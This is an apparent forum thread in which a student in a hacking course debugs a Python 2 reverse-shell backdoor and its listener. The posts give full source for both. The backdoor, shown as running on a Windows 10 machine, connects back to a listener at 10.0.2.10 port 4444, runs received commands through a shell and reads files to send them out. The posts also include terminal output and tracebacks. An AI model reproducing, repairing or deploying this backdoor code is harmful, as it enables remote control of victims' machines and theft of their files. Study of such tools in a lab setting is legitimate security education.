Forum Replies Created
- AuthorPosts
- cybersamuraiDKParticipant
Diego 🙂 i want to thank you with all my heart! It freakin works! 😀 😀
You dont know how many hours/days i have used to try an solve this. I am takin an exam today about cybersec, and this was going to be my master piece 🙂 so you could imagine HOW MUCH i was sweating and biting nails because i couldnt get it to work.
Thank you 🙂 MY presentation is saved!
cybersamuraiDKParticipantI am using python 2 🙂 just like Zaid in the course.
cybersamuraiDKParticipantThe real strange thing is, that if i write the code like this:
#!/usr/bin/env python import socket import json class Listener: def __init__(self, ip, port): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind((ip, port)) listener.listen(0) print("[+] Waiting for incoming connections") self.connection, address = listener.accept() print("[+] Got a connection from " + str(address)) def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024) print(json.loads(json_data)) return json.loads(json_data) except ValueError: continue def execute_remotely(self, command): self.reliable_send(command) if command[0] == "exit": self.connection.close() exit() return self.reliable_receive def write_file(self, path, content): with open(path, "wb") as file: file.write(content) return "[+] Download successful." def run(self): while True: command = raw_input(">> ") command = command.split(" ") result = self.execute_remotely(command) if command[0] == "download": result = self.write_file(command[1], result()) print(result()) my_listener = Listener("10.0.2.10", 4444) my_listener.run()
I end up with this result, when trying to use “download sample.txt”:
>> download sample.txt
TG9yZW0gSXBzdW0gaXMgc2ltcGx5IGR1bW15IHRleHQgb2YgdGhlIHByaW50aW5nIGFuZCB0eXBlc2V0dGluZyBpbmR1c3RyeS4gTG9yZW0gSXBzdW0gaGFzIGJlZW4gdGhlIGluZHVzdHJ5J3Mgc3RhbmRhcmQgZHVtbXkgdGV4dCBldmVyIHNpbmNlIHRoZSAxNTAwcywgd2hlbiBhbiB1bmtub3duIHByaW50ZXIgdG9vayBhIGdhbGxleSBvZiB0eXBlIGFuZCBzY3JhbWJsZWQgaXQgdG8gbWFrZSBhIHR5c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2Ugb24gdGhlIHRoZW9yeSBvZiBldGhpY3MsIHZlcnkgcG9wdWxhciBkdXJpbmcgdGhlIFJlbmFpc3NhbmNlLiBUaGUgZmlyc3QgbGluZSBvZiBMb3JlbSBJcHN1bSwgIkxvcmVtIGlwc3VtIGRvbG9yIHNpdCBhbWV0Li4iLCBjb21lcyBmcm9tIGEgbGluZSBpbiBzZWN0aW9uIDEuMTAuMzIuDQo=
Traceback (most recent call last):
File “temp.py”, line 57, in <module>
my_listener.run()
File “temp.py”, line 53, in run
print(result())
TypeError: ‘str’ object is not callablecybersamuraiDKParticipantthank you for helping me out 🙂
I still get the same:—————————————————————————
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49707)
>> dir
<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7fa8d4aa5190>>
>>————————————————————————————————
#!/usr/bin/env python import socket import json class Listener: def __init__(self, ip, port): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind((ip, port)) listener.listen(0) print("[+] Waiting for incoming connections") self.connection, address = listener.accept() print("[+] Got a connection from " + str(address)) def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024) print(json.loads(json_data)) return json.loads(json_data) except ValueError: continue def execute_remotely(self, command): self.reliable_send(command) if command[0] == "exit": self.connection.close() exit() return self.reliable_receive def write_file(self, path, content): with open(path, "wb") as file: file.write(content) return "[+] Download successful." def run(self): while True: command = raw_input(">> ") command = command.split(" ") result = self.execute_remotely(command) if command[0] == "download": result = self.write_file(command[1], result) print(result) my_listener = Listener("10.0.2.10", 4444) my_listener.run()
cybersamuraiDKParticipantThis is the code 🙂 thank you for helping me out, i am a little bit stuck, cant go any further in the course.
forgot something will add more in a moment
cybersamuraiDKParticipantWhen i remove the () from print(result()). All terminal commands are like this:
root@kali:~/PycharmProjects/Malware/Backdoor# python listener.py
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49834)
>> dir
<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7f1b331b90f0>>
>>cybersamuraiDKParticipantYes sir 🙂
This is the backdoor code running on my windows 10 machine.
#!/usr/bin/env python import socket import subprocess import json import os class Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = self.connection.recv(1024) return json.loads(json_data) except ValueError: continue def execute_system_command(self, command): return subprocess.check_output(command, shell=True) def change_working_directory_to(self, path): os.chdir(path) return "[+] Changing CD to " + path def read_file(self, path): with open(path, "rb") as file: return file.read() def run(self): while True: command = self.reliable_receive() if command[0] == "exit": self.connection.close() exit() elif command[0] == "cd" and len(command) > 1: command_result = self.change_working_directory_to(command[1]) elif command[0] == "download": command_result = self.read_file(command[1]) else: command_result = self.execute_system_command(command) self.reliable_send(command_result) my_backdoor = Backdoor("10.0.2.10", 4444) my_backdoor.run()
- AuthorPosts